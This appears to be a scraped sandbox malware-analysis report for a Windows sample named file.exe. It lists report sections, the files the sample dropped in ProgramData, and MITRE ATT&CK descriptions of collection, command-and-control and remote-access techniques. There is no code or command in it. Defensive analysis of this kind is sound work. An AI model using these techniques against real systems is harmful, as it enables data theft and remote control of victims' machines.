Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CAFBGHIDBGHJJKFHJDHCBKJDGC

C:\ProgramData\CGIJJKEHCAKEGCAKJKEC

C:\ProgramData\DGDHJEGIEBFHDGDGHDHI

C:\ProgramData\EGCBAFCFIJJJECBGIIJK

C:\ProgramData\FBGHCGCA

C:\ProgramData\HDGIJJDG

C:\ProgramData\IEHCBAFIDAECBGCBFHJEBGDHDB

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.
Tactics:	Collection
Data Sources:	Logon Session: Logon Session Creation, Process: Process Access, Process: Process Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre